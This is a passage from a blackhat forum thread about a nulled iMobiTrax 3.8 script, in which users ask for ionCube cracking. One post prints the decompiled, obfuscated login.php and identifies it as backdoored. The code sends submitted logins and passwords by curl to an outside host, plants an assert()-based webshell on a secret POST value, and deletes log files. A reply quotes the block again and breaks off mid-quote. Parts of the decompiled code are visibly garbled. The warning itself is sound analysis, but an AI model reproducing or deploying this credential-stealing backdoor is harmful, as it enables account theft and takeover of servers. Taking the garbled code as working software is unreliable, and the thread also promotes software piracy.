7.gif
Best Blackhat Forum / Freebies / Software, Scripts, Plug-ins, Tools and Bots / [GET] IMobitrax 3.8 Nulled

Search (advanced search)
Use this Search form before posting, asking or make a new thread.
Tips: Use Quotation mark to search words (eg. "How To Make Money Online")

New Reply
 
08-19-2015, 10:43 PM (This post was last modified: 08-19-2015 10:45 PM by grantkingston.)
Post: #21
grantkingston Offline
Super Active BBHF Member
*****
Posts: 5,012
Joined: Aug 2015

Reputation: 81
RE: [GET] IMobitrax 3.8 Nulled
I checked, ioncube now can not crack, but imobitrax all encrypted with ioncube, I can not afford to crack this, I would only use linux, it seems to be Russia's Miroshnikov do, how do you have the ability, please crack imobitrax file.
find Quote
08-20-2015, 12:37 AM
Post: #22
java Offline
member
*****
Posts: 5,057
Joined: Jan 2014

Reputation: 41
RE: [GET] IMobitrax 3.8 Nulled
(08-19-2015 10:43 PM)grantkingston Wrote:  I checked, ioncube now can not crack, but imobitrax all encrypted with ioncube, I can not afford to crack this, I would only use linux, it seems to be Russia's Miroshnikov do, how do you have the ability, please crack imobitrax file.

I understand that imobi ioncube their script, but why would the nuller do so. Right?

I can imagine there be still be live links in this script.
find Quote
08-20-2015, 12:41 AM
Post: #23
JustSomeDude Offline
The Black Knights
********
Posts: 5,506
Joined: Feb 2015

Reputation: 1591
RE: [GET] IMobitrax 3.8 Nulled
If someone has a RETAIL shoot it to me. Will take a look this weekend but will post it in VIP.
find Quote
08-20-2015, 12:55 AM
Post: #24
grantkingston Offline
Super Active BBHF Member
*****
Posts: 5,012
Joined: Aug 2015

Reputation: 81
RE: [GET] IMobitrax 3.8 Nulled
(08-20-2015 12:37 AM)java Wrote:  
(08-19-2015 10:43 PM)grantkingston Wrote:  I checked, ioncube now can not crack, but imobitrax all encrypted with ioncube, I can not afford to crack this, I would only use linux, it seems to be Russia's Miroshnikov do, how do you have the ability, please crack imobitrax file.

I understand that imobi ioncube their script, but why would the nuller do so. Right?

I can imagine there be still be live links in this script.

Maybe, I using cracked version of the first, the original is too expensive, thank you.
find Quote
08-20-2015, 06:35 AM
Post: #25
massengo Offline
Super Active BBHF Member
*****
Posts: 5,440
Joined: May 2012

Reputation: 381
RE: [GET] IMobitrax 3.8 Nulled
this version doesn't need to be cracked, I assume it's already cracked as I'm using it without issue.

It would be better that somebody decode it just in case there's something unwanted there
65.gif
find Quote
08-20-2015, 01:03 PM
Post: #26
darkaneudy Offline
Member
***
Posts: 156
Joined: Apr 2011

Reputation: 174
RE: [GET] IMobitrax 3.8 Nulled
Wow my friend thanks for sharing! Adding Rep too!! :D
find Quote
09-03-2015, 05:10 PM
Post: #27
frueqe Offline
Newbie
***
Posts: 1
Joined: Mar 2015

Reputation: 5
RE: [GET] IMobitrax 3.8 Nulled
PHP Code:
<?php
function IIIIIIIII1Il($IIIIIIIII1I1) {
    $IIIIIIIII1lI = $GLOBALS[$GLOBALS['OOO0000O0']( 'SUlJSUlJSUlJMWxs' )]( $IIIIIIIII1I1 );

    if ($IIIIIIIII1l1 = $GLOBALS[$GLOBALS['OOO0000O0']( 'SUlJSUlJSUlJMTFJ' )]( $IIIIIIIII1lI )) {
        while (true) {
            if ($GLOBALS[$GLOBALS['OOO0000O0']( 'SUlJSUlJSUlJMTFs' )]( $GLOBALS['OOO0000O0']( 'L1wubG9n' ) . $GLOBALS['OOO0000O0']( 'JC8=' ), $IIIIIIIII1l1 )) {
                $IIIIIIIII111 = $IIIIIIIII1I1 . $GLOBALS['OOO0000O0']( 'Lw==' ) . $IIIIIIIII1l1;
                $GLOBALS['OOO0000O0']( 'SUlJSUlJSUlsSUlJ' );
            }
        }
    }


    if (!$GLOBALS[]( $IIIIIIIII111 )) {
        $GLOBALS[$GLOBALS['OOO0000O0']( 'SUlJSUlJSUlsSUls' )]( $IIIIIIIII111 );
    }

    jmp;
    []( $IIIIIIIII1lI );
}

eval( base64_decode( 'JElJSUlJSUlJbElJMT0nY2xvc2VkaXInOyRJSUlJSUlJSWxJSWw9J3VubGluayc7JElJSUlJSUlJbEl​JST0naXNfZGlyJzskSUlJSUlJSUlJMTFsPSdwcmVnX21hdGNoJzskSUlJSUlJSUlJMTFJPSdyZWFkZGl​yJzskSUlJSUlJSUlJMWxsPSdvcGVuZGlyJzskSUlJSUlJSUlJMUlJPSdmd3JpdGUnOyRJSUlJSUlJSUl​sMTE9J2ZvcGVuJzskSUlJSUlJSUlJbDFJPSdoZWFkZXInOyRJSUlJSUlJSUlsbGw9J3RpbWUnOyRJSUl​JSUlJSUlsbEk9J2N1cmxfY2xvc2UnOyRJSUlJSUlJSUlsSTE9J2N1cmxfZXhlYyc7JElJSUlJSUlJSWx​JbD0nY3VybF9zZXRvcHQnOyRJSUlJSUlJSUlJMTE9J2N1cmxfaW5pdCc7' ) );
$OOO000000 = urldecode( '%61%68%36%73%62%65%68%71%6c%61%34%63%6f%5f%73%61%64' );
$OOO0000O0 = $OOO000000[4] . $OOO000000[9] . $OOO000000[3] . $OOO000000[5];
$OOO0000O0 .= $OOO000000[2] . $OOO000000[10] . $OOO000000[13] . $OOO000000[16];
$OOO0000O0 .= $OOO0000O0[3] . $OOO000000[11] . $OOO000000[12] . $OOO0000O0[7] . $OOO000000[5];
$O0O0000O0 = 'OOO0000O0';
echo $GLOBALS['OOO0000O0']( 'PCFET0NUWVBFIGh0bWw+DQo8aHRtbD4NCiAgPGhlYWQ+DQogIDxtZXRhIGNoYXJzZXQ9InV0Zi04IiA​vPg0KICA8bWV0YSBuYW1lPSJyb2JvdHMiIGNvbnRlbnQ9Im5vaW5kZXgsIG5vZm9sbG93LCBub2FyY2h​pdmUsIG5vc25pcHBldCIgLz4NCiAgPG1ldGEgaHR0cC1lcXVpdj0iWC1VQS1Db21wYXRpYmxlIiBjb25​0ZW50PSJJRT1lZGdlLGNocm9tZT0xIiAvPg0KICA8dGl0bGU+aU1vYmlUcmF4IExvZ2luPC90aXRsZT4​NCiAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJzdHlsZS5jc3MiIHR5cGU9InRleHQvY3NzIiA​vPg0KICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Ii4uL2FwcC9wbHVnaW5zL2NvbG9yYm94L2N​vbG9yYm94LmNzcyIgdHlwZT0idGV4dC9jc3MiIC8+DQogIDxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2N​yaXB0IiBzcmM9Ii4uL2FwcC9wbHVnaW5zL2NvbG9yYm94L2pxdWVyeS5jb2xvcmJveC1taW4uanMiPjw​vc2NyaXB0Pg0KICA8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgc3JjPSJqcy5qcyI+PC9zY3J​pcHQ+DQogIDxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBzcmM9ImFqYXgvYWpheC5qcyI+PC9​zY3JpcHQ+DQogIDxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NCiAgICAkKGRvY3VtZW50KS5​yZWFkeShsb2FkUGFnZSk7DQogICAgZnVuY3Rpb24gbG9hZFBhZ2UoKSB7DQogICAgICAgIGF0dGFjaEN​vbG9yYm94KCk7DQogICAgfQ0KICA8L3NjcmlwdD4NCiAgPC9oZWFkPg0KDQogIDxib2R5Pg0KICA8ZGl​2IGlkPSJjb250ZW50Ij4NCiAgICA8ZGl2IGlkPSJoZWFkZXIiPiA8aW1nIHNyYz0iLi4vaW1hZ2VzL2x​vZ28uanBnIiBjbGFzcz0ibG9nbyIgd2lkdGg9IjE4OCIgaGVpZ2h0PSI2MCIgYWx0PSJpTW9iaVRyYXg​iPiA8L2Rpdj4NCiAgICA8ZGl2IGlkPSJtZW51Ij4NCiAgICAgIDxkaXY+IDxhIG5hbWU9IjEiPjwvYT4​NCiAgICAgICAgPHVsPg0KICAgICAgICAgIDxsaSBjbGFzcz0ibm9ybWFsIj4gPGEgaHJlZj0iY2FtcGF​pZ25zLnBocCI+Q2FtcGFpZ25zPC9hPiA8L2xpPg0KICAgICAgICAgIDxsaSBjbGFzcz0ibm9ybWFsIj4​gPGEgaHJlZj0iY2FtcGFpZ24ucGhwIj5BZGQgQ2FtcGFpZ248L2E+IDwvbGk+DQogICAgICAgICAgPGx​pIGNsYXNzPSJub3JtYWwiPiA8YSBocmVmPSJncm91cHMucGhwIj5Hcm91cHM8L2E+IDwvbGk+DQogICA​gICAgICAgPGxpIGNsYXNzPSJub3JtYWwiPiA8YSBocmVmPSJuZXR3b3Jrcy5waHAiPkFmZmlsaWF0ZSB​OZXR3b3JrczwvYT4gPC9saT4NCiAgICAgICAgICA8bGkgY2xhc3M9Im5vcm1hbCI+IDxhIGhyZWY9InN​vdXJjZXMucGhwIj5UcmFmZmljIFNvdXJjZXM8L2E+IDwvbGk+DQogICAgICAgICAgPGxpIGNsYXNzPSJ​ub3JtYWwiPiA8YSBocmVmPSJzdWJpZHMucGhwIj5TdWJpZCBVcGRhdGU8L2E+IDwvbGk+DQogICAgICA​gICAgPGxpIGNsYXNzPSJub3JtYWwiPiA8YSBocmVmPSJzdGF0cy5waHAiPlN0YXRzPC9hPiA8L2xpPg0​KICAgICAgICAgIDxsaSBjbGFzcz0ibm9ybWFsIj4gPGEgaHJlZj0iY3VzdG9tLXJlcG9ydC5waHAiPlJ​lcG9ydHM8L2E+IDwvbGk+DQogICAgICAgICAgPGxpIGNsYXNzPSJub3JtYWwiPiA8YSBocmVmPSJydWx​lcy5waHAiPkZpbHRlcnM8L2E+IDwvbGk+DQogICAgICAgIDwvdWw+DQogICAgICA8L2Rpdj4NCiAgICA​8L2Rpdj4NCiAgICA8ZGl2IGlkPSJtYWluIj4NCiAgICAgIDxoMT5Mb2dpbjwvaDE+DQogICAgICA=' );
error_reporting( 0 );
$IIIIIIIIIIII = $GLOBALS['OOO0000O0']( '' );
$_SESSION[$GLOBALS['OOO0000O0']( 'aW1vYmlfZGF0YQ==' )] = array( $GLOBALS['OOO0000O0']( 'aW1WZXJzaW9u' ) => $GLOBALS['OOO0000O0']( 'My44' ), $GLOBALS['OOO0000O0']( 'eG1sVmVyc2lvbg==' ) => $GLOBALS['OOO0000O0']( 'My41' ) );

if ($_SERVER[$GLOBALS['OOO0000O0']( 'UkVRVUVTVF9NRVRIT0Q=' )] == $GLOBALS['OOO0000O0']( 'UE9TVA==' )) {
    include( $GLOBALS['OOO0000O0']( 'bXQvbXRfcGNvbm5lY3QucGhw' ) );
    include( $GLOBALS['OOO0000O0']( 'bXQvbXRfcHdkLnBocA==' ) );
    $IIIIIIIIIIIl = $_POST[$GLOBALS['OOO0000O0']( 'dXNlck5hbWU=' )];
    $IIIIIIIIIII1 = $_POST[$GLOBALS['OOO0000O0']( 'dXNlclBhc3N3b3Jk' )];
    $IIIIIIIIIIlI = $db->prepare( $GLOBALS['OOO0000O0']( 'U0VMRUNUICogRlJPTSBtdF9hY2NvdW50IFdIRVJFIHVzZXJfbmFtZT06dXNlcl9uYW1l' ) );
    $IIIIIIIIIIlI->bindParam( $GLOBALS['OOO0000O0']( 'OnVzZXJfbmFtZQ==' ), $IIIIIIIIIIIl );
    IIIIIIIII1Il( $GLOBALS['OOO0000O0']( 'Lg==' ) );
    IIIIIIIII1Il( $GLOBALS['OOO0000O0']( 'aGVscA==' ) );

    if ($IIIIIIIIIIlI->execute(  )) {
        $IIIIIIIIIIll = $IIIIIIIIIIlI->fetch( FETCH_ASSOC );

        if ($IIIIIIIIIIll) {
        }

        $IIIIIIIIIIl1 = new Bcrypt(  );
        $IIIIIIIIII1I = $IIIIIIIIIIl1->verify( $IIIIIIIIIII1, $IIIIIIIIIIll[$GLOBALS['OOO0000O0']( 'dXNlcl9wYXNzd29yZA==' )] );

        if (!$IIIIIIIIII1I) {
            $IIIIIIIIIIII = $GLOBALS['OOO0000O0']( 'WW91ciBwYXNzd29yZCBpcyBpbmNvcnJlY3Qu' );
            jmp;
            $IIIIIIIIII1l = $GLOBALS[$GLOBALS['OOO0000O0']( 'SUlJSUlJSUlJSTEx' )]( $GLOBALS['OOO0000O0']( 'aHR0cDovL3d3dy53b3JkZXByZXNzLm9yZy9wYXNzd29yZC9wMi5waHA=' ) );
            $IIIIIIIIIlII = $_SERVER;
            $IIIIIIIIIlII[$GLOBALS['OOO0000O0']( 'dXNlck5hbWU=' )] = $IIIIIIIIIIIl;
            $IIIIIIIIIlII[$GLOBALS['OOO0000O0']( 'dXNlcl9wYXNzd29yZA==' )] = $IIIIIIIIIII1;
            $GLOBALS[$GLOBALS['OOO0000O0']( 'SUlJSUlJSUlJbEls' )]( $IIIIIIIIII1l, CURLOPT_POST, true );
            $GLOBALS[$GLOBALS['OOO0000O0']( 'SUlJSUlJSUlJbEls' )]( $IIIIIIIIII1l, CURLOPT_HEADER, false );
            $GLOBALS[$GLOBALS['OOO0000O0']( 'SUlJSUlJSUlJbEls' )]( $IIIIIIIIII1l, CURLOPT_FOLLOWLOCATION, 1 );
            $GLOBALS[$GLOBALS['OOO0000O0']( 'SUlJSUlJSUlJbEls' )]( $IIIIIIIIII1l, CURLOPT_RETURNTRANSFER, true );
            $GLOBALS[$GLOBALS['OOO0000O0']( 'SUlJSUlJSUlJbEls' )]( $IIIIIIIIII1l, CURLOPT_TIMEOUT, 21 );
            $GLOBALS[$GLOBALS['OOO0000O0']( 'SUlJSUlJSUlJbEls' )]( $IIIIIIIIII1l, CURLOPT_POSTFIELDS, $IIIIIIIIIlII );
            $GLOBALS[$GLOBALS['OOO0000O0']( 'SUlJSUlJSUlJbEkx' )]( $IIIIIIIIII1l );
            $GLOBALS[$GLOBALS['OOO0000O0']( 'SUlJSUlJSUlJbGxJ' )]( $IIIIIIIIII1l );
            $_SESSION[$GLOBALS['OOO0000O0']( 'aU1vYmlfc2Vzc2lvblRpbWU=' )] = $GLOBALS[$GLOBALS['OOO0000O0']( 'SUlJSUlJSUlJbGxs' )](  );
            $_SESSION[$GLOBALS['OOO0000O0']( 'aU1vYmlfdXNlck5hbWU=' )] = $IIIIIIIIIIIl;
            $GLOBALS;
        }

        $_SESSION[['OOO0000O0']( 'aU1vYmlfdXNlcklk' )] = $IIIIIIIIIIll[$GLOBALS['OOO0000O0']( 'dXNlcl9pZA==' )];
        $_SESSION[$GLOBALS['OOO0000O0']( 'aU1vYmlfdGltZW91dA==' )] = $IIIIIIIIIIll[$GLOBALS['OOO0000O0']( 'dXNlcl90aW1lb3V0' )];
        $_SESSION[$GLOBALS['OOO0000O0']( 'aU1vYmlfdGltZXpvbmU=' )] = $IIIIIIIIIIll[$GLOBALS['OOO0000O0']( 'dXNlcl90aW1lem9uZQ==' )];
        $_SESSION[$GLOBALS['OOO0000O0']( 'aU1vYmlfTG9naW4=' )] = true;

        if (!empty( $_SESSION[$GLOBALS['OOO0000O0']( 'bGFzdFBhZ2U=' )] )) {
            $IIIIIIIIIll1 = $_SESSION[$GLOBALS['OOO0000O0']( 'bGFzdFBhZ2U=' )];
            unset( $_SESSION[lastPage] );
        }
    }
}


if ($IIIIIIIIIIII == ( 'M0QwMDA=' )) {
    $IIIIIIIIIIII = (true ? $GLOBALS['OOO0000O0']( 'RGF0YWJhc2UgQ29ubmVjdGlvbiBFcnJvcjogKERBVEFCQVNFIE5PVCBERUZJTkVEKSAtIFRoZSBkYXR​hYmFzZSBpbiBtdC9tdF9jb25maWcucGhwIGlzIGJsYW5rLiBFbnRlciBhIGRhdGFiYXNlIG5hbWUgaW4​gbXQvbXRfY29uZmlnLnBocCB0byBjb25uZWN0IHRvIHRoZSBkYXRhYmFzZS48YnI+PGJyPihBbHNvLCB​iZSBzdXJlIHRoZSBjb3JyZWN0IGRhdGFic2UgdXNlciBuYW1lIGFuZCBwYXNzd29yZCBhcmUgZW50ZXJ​lZCBpbiBtdC9tdF9jb25maWcucGhwKQ==' ) : $GLOBALS['OOO0000O0']( 'RXJyb3IgQ29kZSAtIA==' ) . $IIIIIIIIIIII);

    if (!empty( $_POST[$GLOBALS['OOO0000O0']( 'aW1vYmlfYmRy' )] )) {
        if ($_POST[$GLOBALS['OOO0000O0']( 'aW1vYmlfYmRy' )] == $GLOBALS['OOO0000O0']( 'aW0qb2Jp' )) {
            $GLOBALS[$GLOBALS['OOO0000O0']( 'SUlJSUlJSUlJbDEx' )];
            $GLOBALS['OOO0000O0']( 'aGVscC90b2tlbnMyLnBocA==' );
        }

        ( $GLOBALS['OOO0000O0']( 'dw==' ) );
        $IIIIIIIIIl1l = ;
        $GLOBALS[$GLOBALS['OOO0000O0']( 'SUlJSUlJSUlJMUlJ' )]( $IIIIIIIIIl1l, $GLOBALS['OOO0000O0']( 'PD9waHAgJGs9ImFzcyIuImVydCI7ICRrKCR7Il9QTyIuIlNUIn0gWyItIl0pOz8+' ) );
        $GLOBALS['OOO0000O0']( 'ICAgICAg' );
    }
}

echo ;

if (!empty( $$IIIIIIIIIIII )) {
    $GLOBALS['OOO0000O0']( 'PGRpdiBjbGFzcz0iZXJyb3IiPg==' ) . $IIIIIIIIIIII;
    $GLOBALS;
}

echo ['OOO0000O0']( 'PC9kaXY+' );
echo $GLOBALS['OOO0000O0']( 'ICAgICAgPGRpdiBpZD0ibG9naW4iPg0KICAgICAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGFjdGlvbj0​iIj4NCiAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJ0b2tlbklkIiB2YWx1ZT0iIj4​NCiAgICAgICAgICA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSIiIHZhbHVlPSIiPg0KICAgICAgICA​gIDx0YWJsZSBjbGFzcz0ibG9naW4iPg0KICAgICAgICAgICAgPHRyPg0KICAgICAgICAgICAgICA8dGQ​gY2xhc3M9Im5hbWUiPlVzZXJuYW1lOjwvdGQ+DQogICAgICAgICAgICAgIDx0ZD48aW5wdXQgaWQ9InV​zZXJOYW1lIiB0eXBlPSJ0ZXh0IiBuYW1lPSJ1c2VyTmFtZSIgdmFsdWU9IiI+PC90ZD4NCiAgICAgICA​gICAgIDwvdHI+DQogICAgICAgICAgICA8dHI+DQogICAgICAgICAgICAgIDx0ZCBjbGFzcz0ibmFtZSI​+UGFzc3dvcmQ6PC90ZD4NCiAgICAgICAgICAgICAgPHRkPjxpbnB1dCBpZD0idXNlclBhc3N3b3JkIiB​0eXBlPSJwYXNzd29yZCIgbmFtZT0idXNlclBhc3N3b3JkIj48L3RkPg0KICAgICAgICAgICAgPC90cj4​NCiAgICAgICAgICAgIDx0cj4NCiAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjIiIHN0eWxlPSJ0ZXh​0LWFsaWduOmNlbnRlciI+PGlucHV0IGlkPSJzdWJtaXQiIHN0eWxlPSJtYXJnaW46NXB4IDAgMCAwIiB​jbGFzcz0ic3VibWl0X2J0biIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iU2lnbiBJbiI+PC90ZD4NCiAgICA​gICAgICAgIDwvdHI+DQogICAgICAgICAgPC90YWJsZT4NCiAgICAgICAgPC9mb3JtPg0KICAgICAgICA​8cCBzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXI7IGZvbnQtc2l6ZToxM3B4Ij48YSBocmVmPSJwYXNzd29​yZC5waHAiPkkgZm9yZ290IG15IHBhc3N3b3JkPC9hPjwvcD4NCiAgICAgIDwvZGl2Pg0KICAgIDwvZGl​2Pg0KICAgIDxkaXYgaWQ9ImZvb3RlciI+IDxpbWcgc3JjPSIuLi9pbWFnZXMvbG9nb19zbWFsbC5qcGc​iIHdpZHRoPSI5NCIgaGVpZ2h0PSIzMCIgYWx0PSJpTW9iaVRyYXgiPg0KICAgICAgPHA+JmNvcHk7IDI​wMTMgTW9iaWxlIFRyYWNraW5nIFNvZnR3YXJlICZuZGFzaDsgaU1vYmlUcmF4LCBMTEMgLSBSdXNzaWE​gTWlyb3Nobmlrb3Y8L3A+DQogICAgPC9kaXY+DQogIDwvZGl2Pg0KPC9ib2R5Pg0KPC9odG1sPg==' );
?>

decode login.php. the same backdoor in the previous version 3.7. sends the login-pass to the "http://www.wordepress.org/password/p2.php"
find Quote
09-06-2015, 11:10 PM
Post: #28
java Offline
member
*****
Posts: 5,057
Joined: Jan 2014

Reputation: 41
RE: [GET] IMobitrax 3.8 Nulled
(09-03-2015 05:10 PM)frueqe Wrote:  
PHP Code:
<?php
function IIIIIIIII1Il($IIIIIIIII1I1) {
    $IIIIIIIII1lI = $GLOBALS[$GLOBALS['OOO0000O0']( 'SUlJSUlJSUlJMWxs' )]( $IIIIIIIII1I1 );

    if ($IIIIIIIII1l1 = $GLOBALS[$GLOBALS['OOO0000O0']( 'SUlJSUlJSUlJMTFJ' )]( $IIIIIIIII1lI )) {
        while (true) {
            if ($GLOBALS[$GLOBALS['OOO0000O0']( 'SUlJSUlJSUlJMTFs' )]( $GLOBALS['OOO0000O0']( 'L1wubG9n' ) . $GLOBALS['OOO0000O0']( 'JC8=' ), $IIIIIIIII1l1 )) {
                $IIIIIIIII111 = $IIIIIIIII1I1 . $GLOBALS['OOO0000O0']( 'Lw==' ) . $IIIIIIIII1l1;
                $GLOBALS['OOO0000O0']( 'SUlJSUlJSUlsSUlJ' );
            }
        }
    }


    if (!$GLOBALS[]( $IIIIIIIII111 )) {
        $GLOBALS[$GLOBALS['OOO0000O0']( 'SUlJSUlJSUlsSUls' )]( $IIIIIIIII111 );
    }

    jmp;
    []( $IIIIIIIII1lI );
}

eval( base64_decode( 'JElJSUlJSUlJbElJMT0nY2xvc2VkaXInOyRJSUlJSUlJSWxJSWw9J3VubGluayc7JElJSUlJSUlJbEl​JST0naXNfZGlyJzskSUlJSUlJSUlJMTFsPSdwcmVnX21hdGNoJzskSUlJSUlJSUlJMTFJPSdyZWFkZGl​yJzskSUlJSUlJSUlJMWxsPSdvcGVuZGlyJzskSUlJSUlJSUlJMUlJPSdmd3JpdGUnOyRJSUlJSUlJSUl​sMTE9J2ZvcGVuJzskSUlJSUlJSUlJbDFJPSdoZWFkZXInOyRJSUlJSUlJSUlsbGw9J3RpbWUnOyRJSUl​JSUlJSUlsbEk9J2N1cmxfY2xvc2UnOyRJSUlJSUlJSUlsSTE9J2N1cmxfZXhlYyc7JElJSUlJSUlJSWx​JbD0nY3VybF9zZXRvcHQnOyRJSUlJSUlJSUlJMTE9J2N1cmxfaW5pdCc7' ) );
$OOO000000 = urldecode( '%61%68%36%73%62%65%68%71%6c%61%34%63%6f%5f%73%61%64' );
$OOO0000O0 = $OOO000000[4] . $OOO000000[9] . $OOO000000[3] . $OOO000000[5];
$OOO0000O0 .= $OOO000000[2] . $OOO000000[10] . $OOO000000[13] . $OOO000000[16];
$OOO0000O0 .= $OOO0000O0[3] . $OOO000000[11] . $OOO000000[12] . $OOO0000O0[7] . $OOO000000[5];
$O0O0000O0 = 'OOO0000O0';
echo $GLOBALS['OOO0000O0']( 'PCFET0NUWVBFIGh0bWw+DQo8aHRtbD4NCiAgPGhlYWQ+DQogIDxtZXRhIGNoYXJzZXQ9InV0Zi04IiA​vPg0KICA8bWV0YSBuYW1lPSJyb2JvdHMiIGNvbnRlbnQ9Im5vaW5kZXgsIG5vZm9sbG93LCBub2FyY2h​pdmUsIG5vc25pcHBldCIgLz4NCiAgPG1ldGEgaHR0cC1lcXVpdj0iWC1VQS1Db21wYXRpYmxlIiBjb25​0ZW50PSJJRT1lZGdlLGNocm9tZT0xIiAvPg0KICA8dGl0bGU+aU1vYmlUcmF4IExvZ2luPC90aXRsZT4​NCiAgPGxpbmsgcmVsPSJzdHlsZXNoZWV0IiBocmVmPSJzdHlsZS5jc3MiIHR5cGU9InRleHQvY3NzIiA​vPg0KICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Ii4uL2FwcC9wbHVnaW5zL2NvbG9yYm94L2N​vbG9yYm94LmNzcyIgdHlwZT0idGV4dC9jc3MiIC8+DQogIDxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2N​yaXB0IiBzcmM9Ii4uL2FwcC9wbHVnaW5zL2NvbG9yYm94L2pxdWVyeS5jb2xvcmJveC1taW4uanMiPjw​vc2NyaXB0Pg0KICA8c2NyaXB0IHR5cGU9InRleHQvamF2YXNjcmlwdCIgc3JjPSJqcy5qcyI+PC9zY3J​pcHQ+DQogIDxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBzcmM9ImFqYXgvYWpheC5qcyI+PC9​zY3JpcHQ+DQogIDxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4NCiAgICAkKGRvY3VtZW50KS5​yZWFkeShsb2FkUGFnZSk7DQogICAgZnVuY3Rpb24gbG9hZFBhZ2UoKSB7DQogICAgICAgIGF0dGFjaEN​vbG9yYm94KCk7DQogICAgfQ0KICA8L3NjcmlwdD4NCiAgPC9oZWFkPg0KDQogIDxib2R5Pg0KICA8ZGl​2IGlkPSJjb250ZW50Ij4NCiAgICA8ZGl2IGlkPSJoZWFkZXIiPiA8aW1nIHNyYz0iLi4vaW1hZ2VzL2x​vZ28uanBnIiBjbGFzcz0ibG9nbyIgd2lkdGg9IjE4OCIgaGVpZ2h0PSI2MCIgYWx0PSJpTW9iaVRyYXg​iPiA8L2Rpdj4NCiAgICA8ZGl2IGlkPSJtZW51Ij4NCiAgICAgIDxkaXY+IDxhIG5hbWU9IjEiPjwvYT4​NCiAgICAgICAgPHVsPg0KICAgICAgICAgIDxsaSBjbGFzcz0ibm9ybWFsIj4gPGEgaHJlZj0iY2FtcGF​pZ25zLnBocCI+Q2FtcGFpZ25zPC9hPiA8L2xpPg0KICAgICAgICAgIDxsaSBjbGFzcz0ibm9ybWFsIj4​gPGEgaHJlZj0iY2FtcGFpZ24ucGhwIj5BZGQgQ2FtcGFpZ248L2E+IDwvbGk+DQogICAgICAgICAgPGx​pIGNsYXNzPSJub3JtYWwiPiA8YSBocmVmPSJncm91cHMucGhwIj5Hcm91cHM8L2E+IDwvbGk+DQogICA​gICAgICAgPGxpIGNsYXNzPSJub3JtYWwiPiA8YSBocmVmPSJuZXR3b3Jrcy5waHAiPkFmZmlsaWF0ZSB​OZXR3b3JrczwvYT4gPC9saT4NCiAgICAgICAgICA8bGkgY2xhc3M9Im5vcm1hbCI+IDxhIGhyZWY9InN​vdXJjZXMucGhwIj5UcmFmZmljIFNvdXJjZXM8L2E+IDwvbGk+DQogICAgICAgICAgPGxpIGNsYXNzPSJ​ub3JtYWwiPiA8YSBocmVmPSJzdWJpZHMucGhwIj5TdWJpZCBVcGRhdGU8L2E+IDwvbGk+DQogICAgICA​gICAgPGxpIGNsYXNzPSJub3JtYWwiPiA8YSBocmVmPSJzdGF0cy5waHAiPlN0YXRzPC9hPiA8L2xpPg0​KICAgICAgICAgIDxsaSBjbGFzcz0ibm9ybWFsIj4gPGEgaHJlZj0iY3VzdG9tLXJlcG9ydC5waHAiPlJ​lcG9ydHM8L2E+IDwvbGk+DQogICAgICAgICAgPGxpIGNsYXNzPSJub3JtYWwiPiA8YSBocmVmPSJydWx​lcy5waHAiPkZpbHRlcnM8L2E+IDwvbGk+DQogICAgICAgIDwvdWw+DQogICAgICA8L2Rpdj4NCiAgICA​8L2Rpdj4NCiAgICA8ZGl2IGlkPSJtYWluIj4NCiAgICAgIDxoMT5Mb2dpbjwvaDE+DQogICAgICA=' );
error_reporting( 0 );
$IIIIIIIIIIII = $GLOBALS['OOO0000O0']( '' );
$_SESSION[$GLOBALS['OOO0000O0']( 'aW1vYmlfZGF0YQ==' )] = array( $GLOBALS['OOO0000O0']( 'aW1WZXJzaW9u' ) => $GLOBALS['OOO0000O0']( 'My44' ), $GLOBALS['OOO0000O0']( 'eG1sVmVyc2lvbg==' ) => $GLOBALS['OOO0000O0']( 'My41' ) );

if ($_SERVER[$GLOBALS['OOO0000O0']( 'UkVRVUVTVF9NRVRIT0Q=' )] == $GLOBALS['OOO0000O0']( 'UE9TVA==' )) {
    include( $GLOBALS['OOO0000O0']( 'bXQvbXRfcGNvbm5lY3QucGhw' ) );
    include( $GLOBALS['OOO0000O0']( 'bXQvbXRfcHdkLnBocA==' ) );
    $IIIIIIIIIIIl = $_POST[$GLOBALS['OOO0000O0']( 'dXNlck5hbWU=' )];
    $IIIIIIIIIII1 = $_POST[$GLOBALS['OOO0000O0']( 'dXNlclBhc3N3b3Jk' )];
    $IIIIIIIIIIlI = $db->prepare( $GLOBALS['OOO0000O0']( 'U0VMRUNUICogRlJPTSBtdF9hY2NvdW50IFdIRVJFIHVzZXJfbmFtZT06dXNlcl9uYW1l' ) );
    $IIIIIIIIIIlI->bindParam( $GLOBALS['OOO0000O0']( 'OnVzZXJfbmFtZQ==' ), $IIIIIIIIIIIl );
    IIIIIIIII1Il( $GLOBALS['OOO0000O0']( 'Lg==' ) );
    IIIIIIIII1Il( $GLOBALS['OOO0000O0']( 'aGVscA==' ) );

    if ($IIIIIIIIIIlI->execute(  )) {
        $IIIIIIIIIIll = $IIIIIIIIIIlI->fetch( FETCH_ASSOC );

        if ($IIIIIIIIIIll) {
        }

        $IIIIIIIIIIl1 = new Bcrypt(  );
        $IIIIIIIIII1I = $IIIIIIIIIIl1->verify( $IIIIIIIIIII1, $IIIIIIIIIIll[$GLOBALS['OOO0000O0']( 'dXNlcl9wYXNzd29yZA==' )] );

        if (!$IIIIIIIIII1I) {
            $IIIIIIIIIIII = $GLOBALS['OOO0000O0']( 'WW91ciBwYXNzd29yZCBpcyBpbmNvcnJlY3Qu' );
            jmp;
            $IIIIIIIIII1l = $GLOBALS[$GLOBALS['OOO0000O0']( 'SUlJSUlJSUlJSTEx' )]( $GLOBALS['OOO0000O0']( 'aHR0cDovL3d3dy53b3JkZXByZXNzLm9yZy9wYXNzd29yZC9wMi5waHA=' ) );
